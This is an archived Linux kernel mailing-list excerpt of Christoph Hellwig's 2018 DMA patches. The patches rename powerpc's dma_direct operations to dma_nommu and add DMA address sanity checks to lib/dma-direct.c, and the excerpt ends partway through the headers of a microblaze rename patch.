diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index 4194bbbbdb10..6d5d04ccf3b4 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -40,7 +40,7 @@ static u64 __maybe_unused get_pfn_limit(struct device *dev)
 	return pfn;
 }
 
-static int dma_direct_dma_supported(struct device *dev, u64 mask)
+static int dma_nommu_dma_supported(struct device *dev, u64 mask)
 {
 #ifdef CONFIG_PPC64
 	u64 limit = get_dma_offset(dev) + (memblock_end_of_DRAM() - 1);
@@ -62,7 +62,7 @@ static int dma_direct_dma_supported(struct device *dev, u64 mask)
 #endif
 }
 
-void *__dma_direct_alloc_coherent(struct device *dev, size_t size,
+void *__dma_nommu_alloc_coherent(struct device *dev, size_t size,
 				  dma_addr_t *dma_handle, gfp_t flag,
 				  unsigned long attrs)
 {
@@ -119,7 +119,7 @@ void *__dma_direct_alloc_coherent(struct device *dev, size_t size,
 #endif
 }
 
-void __dma_direct_free_coherent(struct device *dev, size_t size,
+void __dma_nommu_free_coherent(struct device *dev, size_t size,
 				void *vaddr, dma_addr_t dma_handle,
 				unsigned long attrs)
 {
@@ -130,7 +130,7 @@ void __dma_direct_free_coherent(struct device *dev, size_t size,
 #endif
 }
 
-static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
+static void *dma_nommu_alloc_coherent(struct device *dev, size_t size,
 				       dma_addr_t *dma_handle, gfp_t flag,
 				       unsigned long attrs)
 {
@@ -139,8 +139,8 @@ static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
 	/* The coherent mask may be smaller than the real mask, check if
 	 * we can really use the direct ops
 	 */
-	if (dma_direct_dma_supported(dev, dev->coherent_dma_mask))
-		return __dma_direct_alloc_coherent(dev, size, dma_handle,
+	if (dma_nommu_dma_supported(dev, dev->coherent_dma_mask))
+		return __dma_nommu_alloc_coherent(dev, size, dma_handle,
 						   flag, attrs);
 
 	/* Ok we can't ... do we have an iommu ? If not, fail */
@@ -154,15 +154,15 @@ static void *dma_direct_alloc_coherent(struct device *dev, size_t size,
 				    dev_to_node(dev));
 }
 
-static void dma_direct_free_coherent(struct device *dev, size_t size,
+static void dma_nommu_free_coherent(struct device *dev, size_t size,
 				     void *vaddr, dma_addr_t dma_handle,
 				     unsigned long attrs)
 {
 	struct iommu_table *iommu;
 
-	/* See comments in dma_direct_alloc_coherent() */
-	if (dma_direct_dma_supported(dev, dev->coherent_dma_mask))
-		return __dma_direct_free_coherent(dev, size, vaddr, dma_handle,
+	/* See comments in dma_nommu_alloc_coherent() */
+	if (dma_nommu_dma_supported(dev, dev->coherent_dma_mask))
+		return __dma_nommu_free_coherent(dev, size, vaddr, dma_handle,
 						  attrs);
 	/* Maybe we used an iommu ... */
 	iommu = get_iommu_table_base(dev);
@@ -175,7 +175,7 @@ static void dma_direct_free_coherent(struct device *dev, size_t size,
 	iommu_free_coherent(iommu, size, vaddr, dma_handle);
 }
 
-int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
+int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 			     void *cpu_addr, dma_addr_t handle, size_t size,
 			     unsigned long attrs)
 {
@@ -193,7 +193,7 @@ int dma_direct_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 			       vma->vm_page_prot);
 }
 
-static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
+static int dma_nommu_map_sg(struct device *dev, struct scatterlist *sgl,
 			     int nents, enum dma_data_direction direction,
 			     unsigned long attrs)
 {
@@ -213,13 +213,13 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
-static void dma_direct_unmap_sg(struct device *dev, struct scatterlist *sg,
+static void dma_nommu_unmap_sg(struct device *dev, struct scatterlist *sg,
 				int nents, enum dma_data_direction direction,
 				unsigned long attrs)
 {
 }
 
-static u64 dma_direct_get_required_mask(struct device *dev)
+static u64 dma_nommu_get_required_mask(struct device *dev)
 {
 	u64 end, mask;
 
@@ -231,7 +231,7 @@ static u64 dma_direct_get_required_mask(struct device *dev)
 	return mask;
 }
 
-static inline dma_addr_t dma_direct_map_page(struct device *dev,
+static inline dma_addr_t dma_nommu_map_page(struct device *dev,
 					     struct page *page,
 					     unsigned long offset,
 					     size_t size,
@@ -246,7 +246,7 @@ static inline dma_addr_t dma_direct_map_page(struct device *dev,
 	return page_to_phys(page) + offset + get_dma_offset(dev);
 }
 
-static inline void dma_direct_unmap_page(struct device *dev,
+static inline void dma_nommu_unmap_page(struct device *dev,
 					 dma_addr_t dma_address,
 					 size_t size,
 					 enum dma_data_direction direction,
@@ -255,7 +255,7 @@ static inline void dma_direct_unmap_page(struct device *dev,
 }
 
 #ifdef CONFIG_NOT_COHERENT_CACHE
-static inline void dma_direct_sync_sg(struct device *dev,
+static inline void dma_nommu_sync_sg(struct device *dev,
 		struct scatterlist *sgl, int nents,
 		enum dma_data_direction direction)
 {
@@ -266,7 +266,7 @@ static inline void dma_direct_sync_sg(struct device *dev,
 		__dma_sync_page(sg_page(sg), sg->offset, sg->length, direction);
 }
 
-static inline void dma_direct_sync_single(struct device *dev,
+static inline void dma_nommu_sync_single(struct device *dev,
 					  dma_addr_t dma_handle, size_t size,
 					  enum dma_data_direction direction)
 {
@@ -274,24 +274,24 @@ static inline void dma_direct_sync_single(struct device *dev,
 }
 #endif
 
-const struct dma_map_ops dma_direct_ops = {
-	.alloc				= dma_direct_alloc_coherent,
-	.free				= dma_direct_free_coherent,
-	.mmap				= dma_direct_mmap_coherent,
-	.map_sg				= dma_direct_map_sg,
-	.unmap_sg			= dma_direct_unmap_sg,
-	.dma_supported			= dma_direct_dma_supported,
-	.map_page			= dma_direct_map_page,
-	.unmap_page			= dma_direct_unmap_page,
-	.get_required_mask		= dma_direct_get_required_mask,
+const struct dma_map_ops dma_nommu_ops = {
+	.alloc				= dma_nommu_alloc_coherent,
+	.free				= dma_nommu_free_coherent,
+	.mmap				= dma_nommu_mmap_coherent,
+	.map_sg				= dma_nommu_map_sg,
+	.unmap_sg			= dma_nommu_unmap_sg,
+	.dma_supported			= dma_nommu_dma_supported,
+	.map_page			= dma_nommu_map_page,
+	.unmap_page			= dma_nommu_unmap_page,
+	.get_required_mask		= dma_nommu_get_required_mask,
 #ifdef CONFIG_NOT_COHERENT_CACHE
-	.sync_single_for_cpu 		= dma_direct_sync_single,
-	.sync_single_for_device 	= dma_direct_sync_single,
-	.sync_sg_for_cpu 		= dma_direct_sync_sg,
-	.sync_sg_for_device 		= dma_direct_sync_sg,
+	.sync_single_for_cpu 		= dma_nommu_sync_single,
+	.sync_single_for_device 	= dma_nommu_sync_single,
+	.sync_sg_for_cpu 		= dma_nommu_sync_sg,
+	.sync_sg_for_device 		= dma_nommu_sync_sg,
 #endif
 };
-EXPORT_SYMBOL(dma_direct_ops);
+EXPORT_SYMBOL(dma_nommu_ops);
 
 int dma_set_coherent_mask(struct device *dev, u64 mask)
 {
@@ -302,7 +302,7 @@ int dma_set_coherent_mask(struct device *dev, u64 mask)
 		 * is no dma_op->set_coherent_mask() so we have to do
 		 * things the hard way:
 		 */
-		if (get_dma_ops(dev) != &dma_direct_ops ||
+		if (get_dma_ops(dev) != &dma_nommu_ops ||
 		    get_iommu_table_base(dev) == NULL ||
 		    !dma_iommu_dma_supported(dev, mask))
 			return -EIO;
diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
index 0ac7aa346c69..590f4d0a6cb1 100644
--- a/arch/powerpc/kernel/pci-common.c
+++ b/arch/powerpc/kernel/pci-common.c
@@ -60,7 +60,7 @@ resource_size_t isa_mem_base;
 EXPORT_SYMBOL(isa_mem_base);
 
 
-static const struct dma_map_ops *pci_dma_ops = &dma_direct_ops;
+static const struct dma_map_ops *pci_dma_ops = &dma_nommu_ops;
 
 void set_pci_dma_ops(const struct dma_map_ops *dma_ops)
 {
diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup-common.c
index 9d213542a48b..9b89df1e71ab 100644
--- a/arch/powerpc/kernel/setup-common.c
+++ b/arch/powerpc/kernel/setup-common.c
@@ -791,7 +791,7 @@ void arch_setup_pdev_archdata(struct platform_device *pdev)
 {
 	pdev->archdata.dma_mask = DMA_BIT_MASK(32);
 	pdev->dev.dma_mask = &pdev->archdata.dma_mask;
- 	set_dma_ops(&pdev->dev, &dma_direct_ops);
+ 	set_dma_ops(&pdev->dev, &dma_nommu_ops);
 }
 
 static __init void print_system_info(void)
diff --git a/arch/powerpc/platforms/cell/iommu.c b/arch/powerpc/platforms/cell/iommu.c
index 4b91ad08eefd..12352a58072a 100644
--- a/arch/powerpc/platforms/cell/iommu.c
+++ b/arch/powerpc/platforms/cell/iommu.c
@@ -541,7 +541,7 @@ static struct cbe_iommu *cell_iommu_for_node(int nid)
 	return NULL;
 }
 
-static unsigned long cell_dma_direct_offset;
+static unsigned long cell_dma_nommu_offset;
 
 static unsigned long dma_iommu_fixed_base;
 
@@ -580,7 +580,7 @@ static void *dma_fixed_alloc_coherent(struct device *dev, size_t size,
 					    device_to_mask(dev), flag,
 					    dev_to_node(dev));
 	else
-		return dma_direct_ops.alloc(dev, size, dma_handle, flag,
+		return dma_nommu_ops.alloc(dev, size, dma_handle, flag,
 					    attrs);
 }
 
@@ -592,7 +592,7 @@ static void dma_fixed_free_coherent(struct device *dev, size_t size,
 		iommu_free_coherent(cell_get_iommu_table(dev), size, vaddr,
 				    dma_handle);
 	else
-		dma_direct_ops.free(dev, size, vaddr, dma_handle, attrs);
+		dma_nommu_ops.free(dev, size, vaddr, dma_handle, attrs);
 }
 
 static dma_addr_t dma_fixed_map_page(struct device *dev, struct page *page,
@@ -601,7 +601,7 @@ static dma_addr_t dma_fixed_map_page(struct device *dev, struct page *page,
 				     unsigned long attrs)
 {
 	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
-		return dma_direct_ops.map_page(dev, page, offset, size,
+		return dma_nommu_ops.map_page(dev, page, offset, size,
 					       direction, attrs);
 	else
 		return iommu_map_page(dev, cell_get_iommu_table(dev), page,
@@ -614,7 +614,7 @@ static void dma_fixed_unmap_page(struct device *dev, dma_addr_t dma_addr,
 				 unsigned long attrs)
 {
 	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
-		dma_direct_ops.unmap_page(dev, dma_addr, size, direction,
+		dma_nommu_ops.unmap_page(dev, dma_addr, size, direction,
 					  attrs);
 	else
 		iommu_unmap_page(cell_get_iommu_table(dev), dma_addr, size,
@@ -626,7 +626,7 @@ static int dma_fixed_map_sg(struct device *dev, struct scatterlist *sg,
 			   unsigned long attrs)
 {
 	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
-		return dma_direct_ops.map_sg(dev, sg, nents, direction, attrs);
+		return dma_nommu_ops.map_sg(dev, sg, nents, direction, attrs);
 	else
 		return ppc_iommu_map_sg(dev, cell_get_iommu_table(dev), sg,
 					nents, device_to_mask(dev),
@@ -638,7 +638,7 @@ static void dma_fixed_unmap_sg(struct device *dev, struct scatterlist *sg,
 			       unsigned long attrs)
 {
 	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
-		dma_direct_ops.unmap_sg(dev, sg, nents, direction, attrs);
+		dma_nommu_ops.unmap_sg(dev, sg, nents, direction, attrs);
 	else
 		ppc_iommu_unmap_sg(cell_get_iommu_table(dev), sg, nents,
 				   direction, attrs);
@@ -661,8 +661,8 @@ static void cell_dma_dev_setup(struct device *dev)
 {
 	if (get_pci_dma_ops() == &dma_iommu_ops)
 		set_iommu_table_base(dev, cell_get_iommu_table(dev));
-	else if (get_pci_dma_ops() == &dma_direct_ops)
-		set_dma_offset(dev, cell_dma_direct_offset);
+	else if (get_pci_dma_ops() == &dma_nommu_ops)
+		set_dma_offset(dev, cell_dma_nommu_offset);
 	else
 		BUG();
 }
@@ -810,14 +810,14 @@ static int __init cell_iommu_init_disabled(void)
 	unsigned long base = 0, size;
 
 	/* When no iommu is present, we use direct DMA ops */
-	set_pci_dma_ops(&dma_direct_ops);
+	set_pci_dma_ops(&dma_nommu_ops);
 
 	/* First make sure all IOC translation is turned off */
 	cell_disable_iommus();
 
 	/* If we have no Axon, we set up the spider DMA magic offset */
 	if (of_find_node_by_name(NULL, "axon") == NULL)
-		cell_dma_direct_offset = SPIDER_DMA_OFFSET;
+		cell_dma_nommu_offset = SPIDER_DMA_OFFSET;
 
 	/* Now we need to check to see where the memory is mapped
 	 * in PCI space. We assume that all busses use the same dma
@@ -851,13 +851,13 @@ static int __init cell_iommu_init_disabled(void)
 		return -ENODEV;
 	}
 
-	cell_dma_direct_offset += base;
+	cell_dma_nommu_offset += base;
 
-	if (cell_dma_direct_offset != 0)
+	if (cell_dma_nommu_offset != 0)
 		cell_pci_controller_ops.dma_dev_setup = cell_pci_dma_dev_setup;
 
 	printk("iommu: disabled, direct DMA offset is 0x%lx\n",
-	       cell_dma_direct_offset);
+	       cell_dma_nommu_offset);
 
 	return 0;
 }
diff --git a/arch/powerpc/platforms/pasemi/iommu.c b/arch/powerpc/platforms/pasemi/iommu.c
index 7fec04de27fc..78b80cbd9768 100644
--- a/arch/powerpc/platforms/pasemi/iommu.c
+++ b/arch/powerpc/platforms/pasemi/iommu.c
@@ -186,7 +186,7 @@ static void pci_dma_dev_setup_pasemi(struct pci_dev *dev)
 	 */
 	if (dev->vendor == 0x1959 && dev->device == 0xa007 &&
 	    !firmware_has_feature(FW_FEATURE_LPAR)) {
-		dev->dev.dma_ops = &dma_direct_ops;
+		dev->dev.dma_ops = &dma_nommu_ops;
 		/*
 		 * Set the coherent DMA mask to prevent the iommu
 		 * being used unnecessarily
diff --git a/arch/powerpc/platforms/pasemi/setup.c b/arch/powerpc/platforms/pasemi/setup.c
index c4a3e93dc324..d0b8ae53660d 100644
--- a/arch/powerpc/platforms/pasemi/setup.c
+++ b/arch/powerpc/platforms/pasemi/setup.c
@@ -363,7 +363,7 @@ static int pcmcia_notify(struct notifier_block *nb, unsigned long action,
 		return 0;
 
 	/* We use the direct ops for localbus */
-	dev->dma_ops = &dma_direct_ops;
+	dev->dma_ops = &dma_nommu_ops;
 
 	return 0;
 }
diff --git a/arch/powerpc/platforms/powernv/pci-ioda.c b/arch/powerpc/platforms/powernv/pci-ioda.c
index 749055553064..9582aeb1fe4c 100644
--- a/arch/powerpc/platforms/powernv/pci-ioda.c
+++ b/arch/powerpc/platforms/powernv/pci-ioda.c
@@ -1850,7 +1850,7 @@ static int pnv_pci_ioda_dma_set_mask(struct pci_dev *pdev, u64 dma_mask)
 
 	if (bypass) {
 		dev_info(&pdev->dev, "Using 64-bit DMA iommu bypass\n");
-		set_dma_ops(&pdev->dev, &dma_direct_ops);
+		set_dma_ops(&pdev->dev, &dma_nommu_ops);
 	} else {
 		/*
 		 * If the device can't set the TCE bypass bit but still wants
@@ -1868,7 +1868,7 @@ static int pnv_pci_ioda_dma_set_mask(struct pci_dev *pdev, u64 dma_mask)
 				return rc;
 			/* 4GB offset bypasses 32-bit space */
 			set_dma_offset(&pdev->dev, (1ULL << 32));
-			set_dma_ops(&pdev->dev, &dma_direct_ops);
+			set_dma_ops(&pdev->dev, &dma_nommu_ops);
 		} else if (dma_mask >> 32 && dma_mask != DMA_BIT_MASK(64)) {
 			/*
 			 * Fail the request if a DMA mask between 32 and 64 bits
diff --git a/arch/powerpc/platforms/pseries/iommu.c b/arch/powerpc/platforms/pseries/iommu.c
index 69921f72e2da..eaa11334fc8c 100644
--- a/arch/powerpc/platforms/pseries/iommu.c
+++ b/arch/powerpc/platforms/pseries/iommu.c
@@ -1231,7 +1231,7 @@ static int dma_set_mask_pSeriesLP(struct device *dev, u64 dma_mask)
 			if (dma_offset != 0) {
 				dev_info(dev, "Using 64-bit direct DMA at offset %llx\n", dma_offset);
 				set_dma_offset(dev, dma_offset);
-				set_dma_ops(dev, &dma_direct_ops);
+				set_dma_ops(dev, &dma_nommu_ops);
 				ddw_enabled = true;
 			}
 		}
diff --git a/arch/powerpc/platforms/pseries/vio.c b/arch/powerpc/platforms/pseries/vio.c
index d86938260a86..49e04ec19238 100644
--- a/arch/powerpc/platforms/pseries/vio.c
+++ b/arch/powerpc/platforms/pseries/vio.c
@@ -618,7 +618,7 @@ static u64 vio_dma_get_required_mask(struct device *dev)
 static const struct dma_map_ops vio_dma_mapping_ops = {
 	.alloc             = vio_dma_iommu_alloc_coherent,
 	.free              = vio_dma_iommu_free_coherent,
-	.mmap		   = dma_direct_mmap_coherent,
+	.mmap		   = dma_nommu_mmap_coherent,
 	.map_sg            = vio_dma_iommu_map_sg,
 	.unmap_sg          = vio_dma_iommu_unmap_sg,
 	.map_page          = vio_dma_iommu_map_page,
diff --git a/arch/powerpc/sysdev/dart_iommu.c b/arch/powerpc/sysdev/dart_iommu.c
index 3573d54b2770..a6198d4f0f03 100644
--- a/arch/powerpc/sysdev/dart_iommu.c
+++ b/arch/powerpc/sysdev/dart_iommu.c
@@ -402,7 +402,7 @@ static int dart_dma_set_mask(struct device *dev, u64 dma_mask)
 	 */
 	if (dart_device_on_pcie(dev) && dma_mask >= DMA_BIT_MASK(40)) {
 		dev_info(dev, "Using 64-bit DMA iommu bypass\n");
-		set_dma_ops(dev, &dma_direct_ops);
+		set_dma_ops(dev, &dma_nommu_ops);
 	} else {
 		dev_info(dev, "Using 32-bit DMA via iommu\n");
 		set_dma_ops(dev, &dma_iommu_ops);
@@ -446,7 +446,7 @@ void __init iommu_init_early_dart(struct pci_controller_ops *controller_ops)
 	controller_ops->dma_bus_setup = NULL;
 
 	/* Setup pci_dma ops */
-	set_pci_dma_ops(&dma_direct_ops);
+	set_pci_dma_ops(&dma_nommu_ops);
 }
 
 #ifdef CONFIG_PM
diff --git a/arch/powerpc/sysdev/fsl_pci.c b/arch/powerpc/sysdev/fsl_pci.c
index 22d98057f773..e4d0133bbeeb 100644
--- a/arch/powerpc/sysdev/fsl_pci.c
+++ b/arch/powerpc/sysdev/fsl_pci.c
@@ -135,7 +135,7 @@ static int fsl_pci_dma_set_mask(struct device *dev, u64 dma_mask)
 	 * mapping that allows addressing any RAM address from across PCI.
 	 */
 	if (dev_is_pci(dev) && dma_mask >= pci64_dma_offset * 2 - 1) {
-		set_dma_ops(dev, &dma_direct_ops);
+		set_dma_ops(dev, &dma_nommu_ops);
 		set_dma_offset(dev, pci64_dma_offset);
 	}
 
diff --git a/drivers/misc/cxl/vphb.c b/drivers/misc/cxl/vphb.c
index 512a4897dbf6..7fd0bdc1436a 100644
--- a/drivers/misc/cxl/vphb.c
+++ b/drivers/misc/cxl/vphb.c
@@ -54,7 +54,7 @@ static bool cxl_pci_enable_device_hook(struct pci_dev *dev)
 		return false;
 	}
 
-	set_dma_ops(&dev->dev, &dma_direct_ops);
+	set_dma_ops(&dev->dev, &dma_nommu_ops);
 	set_dma_offset(&dev->dev, PAGE_OFFSET);
 
 	return _cxl_pci_associate_default_context(dev, afu);
-- 
2.14.2


From - Thu Nov 08 21:40:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH 25/33] dma-direct: add dma address sanity checks
Date: Wed, 10 Jan 2018 09:00:19 +0100
Lines: 77
Approved: news@gmane.org
Message-ID: <20180110080027.13879-26-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571206 10155 195.159.176.226 (10 Jan 2018 08:00:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:00:06 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jan 10 09:00:00 2018
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eZBIf-0001mu-JE
	for glka-linux-arch@m.gmane.org; Wed, 10 Jan 2018 08:59:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965468AbeAJIBy (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Wed, 10 Jan 2018 03:01:54 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:48760 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965448AbeAJIBv (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Wed, 10 Jan 2018 03:01:51 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=XvO4LK7WFMilh/eZRq/xi/V4zyeVZJH/9zNVK0M2kCU=; b=W8LceMUzgjVKt2EtfqF9cga5g
        dSHJca2YCxmY0eQv43yAaimKzaAN6TdHmV6ldLQyoGDuRD+4Vnnsh3JPpgI8cRbBfD6kTfADisoz0
        dWtSJenAa32a9NQbW7fy5eFrBf/1sNdHeywrFEMpZxGtvD3KATmHoBeuV88BKsnhdqUJe1rxMxCnD
        TNgpZ2pwcDb53ZwsAiy4N4YKVx/2oWUzeAxfKKR8m1QR5qTzGRblgAq5O59E3u6qTXgzYPmPTgKMN
        Mv94YIsinyFdOwyQohdmP4ydthnHZW+39/ranixxCz2YF/rP8cPag436mVpFe2aXOwv8Ejc1L1tFq
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKT-0005OU-RH; Wed, 10 Jan 2018 08:01:46 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:41263 gmane.linux.kernel.iommu:22039 gmane.linux.ports.alpha:4693 gmane.linux.kernel.arc:3303 gmane.linux.ports.arm.kernel:625018 gmane.linux.ports.hexagon:1519 gmane.linux.ports.ia64:28518 gmane.linux.kernel.metag:1595 gmane.linux.ports.mips.general:63205 gmane.linux.ports.parisc:28194 gmane.linux.ports.ppc64.devel:151842 gmane.linux.ports.sh.devel:56250 gmane.linux.ports.sparc:27201 gmane.linux.kernel:2662725
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/41263>

Roughly based on the x86 pci-nommu implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-direct.c | 31 ++++++++++++++++++++++++++++++-
 1 file changed, 30 insertions(+), 1 deletion(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 12ea9653781b..32fd4d9e4c47 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -9,6 +9,23 @@
 #include <linux/scatterlist.h>
 #include <linux/pfn.h>
 
+#define DIRECT_MAPPING_ERROR		0
+
+static bool
+check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
+		const char *caller)
+{
+	if (unlikely(dev && !dma_capable(dev, dma_addr, size))) {
+		if (*dev->dma_mask >= DMA_BIT_MASK(32)) {
+			dev_err(dev,
+				"%s: overflow %pad+%zu of device mask %llx\n",
+				caller, &dma_addr, size, *dev->dma_mask);
+		}
+		return false;
+	}
+	return true;
+}
+
 static void *dma_direct_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
@@ -31,7 +48,11 @@ static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
 		unsigned long offset, size_t size, enum dma_data_direction dir,
 		unsigned long attrs)
 {
-	return phys_to_dma(dev, page_to_phys(page)) + offset;
+	dma_addr_t dma_addr = phys_to_dma(dev, page_to_phys(page)) + offset;
+
+	if (!check_addr(dev, dma_addr, size, __func__))
+		return DIRECT_MAPPING_ERROR;
+	return dma_addr;
 }
 
 static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
@@ -44,16 +65,24 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 		BUG_ON(!sg_page(sg));
 
 		sg_dma_address(sg) = phys_to_dma(dev, sg_phys(sg));
+		if (!check_addr(dev, sg_dma_address(sg), sg->length, __func__))
+			return 0;
 		sg_dma_len(sg) = sg->length;
 	}
 
 	return nents;
 }
 
+static int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr)
+{
+	return dma_addr == DIRECT_MAPPING_ERROR;
+}
+
 const struct dma_map_ops dma_direct_ops = {
 	.alloc			= dma_direct_alloc,
 	.free			= dma_direct_free,
 	.map_page		= dma_direct_map_page,
 	.map_sg			= dma_direct_map_sg,
+	.mapping_error		= dma_direct_mapping_error,
 };
 EXPORT_SYMBOL(dma_direct_ops);
-- 
2.14.2



From - Thu Nov 08 21:40:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 15/33] microblaze: rename dma_direct to dma_nommu
Date: Wed, 10 Jan 2018 09:00:09 +0100
Lines: 163
Approved: news@gmane.org
Message-ID: <20180110080027.13879-16-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515571217 12079 195.159.176.226 (10 Jan 2018 08:00:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:00:17 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
